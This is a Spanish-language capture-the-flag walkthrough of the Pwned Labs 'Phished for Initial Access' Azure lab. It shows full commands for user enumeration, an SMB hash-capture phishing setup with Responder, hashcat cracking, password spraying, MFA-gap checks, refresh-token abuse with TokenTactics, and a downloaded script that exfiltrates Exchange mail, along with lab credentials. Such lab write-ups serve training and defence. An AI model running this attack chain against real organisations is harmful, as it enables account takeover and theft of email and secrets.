Introducción
CTF Phished for Initial Access basado en infraestructura Azure y que podemos encontrar en la plataforma PWNLabs
Este proyecto forma parte de un compromiso de equipo rojo autorizado contra la infraestructura híbrida (on-premises y Azure) de Mega Big Tech, donde el phishing está dentro del alcance. El objetivo es demostrar que, pese al endurecimiento del perímetro, existen vías de ataque viables basadas en la identidad.
Se ejecutarán las siguientes técnicas y herramientas:
- Captura y cracking de hashes Net-NTLMv2 para obtener credenciales de usuario.
- Validación de usuarios y credenciales mediante Oh365UserFinder.
- Enumeración del estado de MFA con MFASweep para identificar cuentas sin MFA o con configuraciones débiles.
- Abuso de tokens de autenticación utilizando TokenTacticsV2, aprovechando una vulnerabilidad crítica: el proveedor de autenticación externo de Mega Big Tech ha sido comprometido, haciendo que cualquier desafío de MFA se apruebe automáticamente (bypass de políticas de acceso condicional basadas en el control de concesión “MFA”).
- Enumeración y exfiltración de recursos en Azure mediante herramientas y scripts nativos de PowerShell y CLI.
El enfoque demuestra cómo una falla en la cadena de autenticación puede invalidar controles de seguridad aparentemente sólidos, permitiendo una compromisión completa del entorno en la nube.
Enumeración
Como punto de entrada, tenemos un nombre de empleado de la organización. Vamos a utilizar la herramienta Username Anarchy.
./username-anarchy --suffix @megabigtech.com sam olsson > emails.txt

Una vez hemos obtenido una lista de posibles direcciones de correo electrónico, vamos a probar cual de estos es válido. Para ello, vamos a utilizar la herramienta Oh365UserFinder.
python3 oh365userfinder.py -r ../username-anarchy/emails.txt

Encontramos la cuenta de usuario válida: sam.olsson@megabigtech.com
Explotación
Mega Big Tech emplea el formato nombre.apellido en sus direcciones de correo electrónico. Existen muchos tipos de correos electrónicos de phishing: algunos buscan obtener credenciales, mientras que otros intentan ejecutar código malicioso en un equipo. Por ello, es fundamental abordar este tema desde una perspectiva defensiva y legal.
Dado que Mega Big Tech utiliza servicios en la nube, es razonable suponer que también hace uso de sistemas de identidad corporativa y entornos Windows. En escenarios de ingeniería social o suplantación de identidad, un atacante podría intentar inducir a un usuario a autenticarse en un servicio controlado por terceros.
Con fines formativos, resulta útil comprender, a alto nivel, cómo funciona la autenticación basada en desafío-respuesta utilizada en entornos Windows:
- El cliente envía un identificador de usuario al servidor.
- El servidor genera un valor aleatorio (el desafío) y lo envía al cliente.
- El cliente calcula una respuesta a partir de sus credenciales y del desafío recibido, y la devuelve al servidor.
- El servidor verifica dicha respuesta, generalmente consultando al servicio de autenticación central, que la compara con la que se obtendría utilizando los datos almacenados del usuario.
Este mecanismo permite verificar la posesión de las credenciales sin transmitir la contraseña en texto claro. No obstante, si los datos de autenticación se capturan en entornos inseguros o mediante técnicas de suplantación, pueden surgir riesgos significativos para la seguridad. Por esta razón, son esenciales la protección proactiva, el monitoreo continuo y una respuesta eficaz ante incidentes.
Al revisar los objetivos del laboratorio, observamos que Phishing está en los objetivos. Como no estamos en la misma red que el PC objetivo, debemos desplegar un servidor VPS. En este caso se puede utilizar AWS, Digital Ocean… pero en un entorno real probablemente habría que utilizar servicios de Azure para evitar levantar sospechas.
En el servidor VPS desplegado, instalamos Responder para crear un servidor SMB malicioso.
cd /opt
git clone https://github.com/lgandx/Responder
cd Responder/
pip3 install -r requirements.txt
python3 Responder.py -I eth0

Con responder activo, pasamos a la siguiente fase, el envío de email malicioso al objetivo.

Redactamos un email donde se pide al usuario de forma urgente la verificación de la cuenta y que deben acceder a una ruta para verificar la cuenta.
Después de unos instantes, recibimos el hash NTLMv2del usuario SECURITY-PC\sam.

Copiamos el hash completo en un archivo txt y tratamos de descifrarlo con hashcat. Como diccionario utilizaremos la lista de palabras rockyou.txt.
hashcat -m 5600 hash /home/kali/Downloads/rockyou.txt
Transcurrido un momento, obtenemos la contraseña.
Password: theD@RKni9ht

La reutilización de contraseñsa es una mala práctica cada vez menos común. Vamos a comprobar si la contraseña del usuario sam corresponde con su cuenta corporativa. Volvemos a utilizar de nuevo la herrameinta oh365userfinder.
python3 oh365userfinder.py -p theD@RKni9ht --pwspray --elist ../username-anarchy/emails.txt

Obtenemos las credenciales corporativas del usuario sam. Se informa que la cuenta del usuario sam tiene habilitado MFA. Comprobamos si realmente el usuario sam tiene habilitado MFA. Utilizamos para ello la herramienta MFASweep.
wget https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1 -O MFASweep.ps1
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username sam.olsson@megabigtech.com -Password theD@RKni9ht -Recon


Intentamos iniciar sesión con el comando CLI de Azure.
az login -u sam.olsson@megabigtech.com -p theD@RKni9ht

Accedemos al portal de Azure

Comenzamos a enumerar la plataforma de Azure en busca de información para continuar con la resolución del CTF.
En la interfaz principal, encontramos una aplicación llamada «security-alert»

Analizando la información de la aplicación encontrada, encontramos una sección Versión.

Hacemos clic en la versión disponible de la aplicación que hemos encontrado.

Al hacer clic en la versión existente, vemos la ejecución que realiza la aplicación. Esta aplciación realiza una acción HTTP en el momento de recibir un correo electrónico.

Al inspeccionar la acción HTTP, vemos unas credenciales usadas para acceder a una aplicación de Azure con tipo de autenticación Basic.
- Email: sunita.williams@megabigtech.com
- Password: iN33d4Hol1d@cybersec-seguridad-informatica
Volvemos a ejecutar MFASweep para identificar breachas de información. Observamos que tanto la API de Microsoft Graph como la API de administración de servicio de Microsoft están protegidas solo por contraseña.

Iniciemos sesión en la CLI de Azure con las credenciales de Sunita y obtendremos acceso correctamente.

A continuación, trataremos de obtener el access token ejecutando el siguiente comando
az account get-access-token

A continuación, recuperaremos el refresh token navegando al directorio /azure en nuestro equipo de ataque. Buscaremos el archivo msal_token_cache.json

Ahora procedemos a utilizar una herramienta llamada Token Tactics. Descargamos e importamos el módulo.
Invoke-RefreshToMSGraphToken -domain megabigtech.com -refreshToken "refresh_token"

Ahora vamos a obtener el nuevo token de Microsoft Graph, ejecutando para ello el siguiente comando:
$MSGraphToken.access_token

Con el access token nuevo y utilizando el siguiente script exfil_exchange_mail.py, vamos a intentar descargar el correo electrónico.
wget https://raw.githubusercontent.com/rootsecdev/Azure-Red-Team/master/Tokens/exfil_exchange_mail.py
Añadimos el token obtenido anteriormente en el script exfil_exchange_mail.py

python3 ./exfil_exchange_mail.py


Encontramos una nuevas credenciales
- Usuario: sunita_adm
- Password: $3cuR17y!!!!
Volvemos a la aplicación MFASweep para comprobar las nuevas credenciales.
Invoke-MFASweep -Username sunita_adm@megabigtech.com -Password _$3cuR17y_!!!! -Recon

Volvemos a la plataforma de Azure, vamos a tratar de acceder con las nuevas credenciales.



Después de introducir las credenciales y aprovechar el fallo de configuración de la herramienta utilizada como gestor de MFA, accedemos al panel de administración de Azure con el usuario nuevo encontrado.

Al acceder al panel de Azure, encontramos un almacén de claves. Vamos a acceder para enumerarlo.

Por un lado, encontramos las claves de administrador global.

Y por otro, la flag final.

Y tendriamos acabado el CTF Phished for Initial Access -Pwned Labs.
No responses yet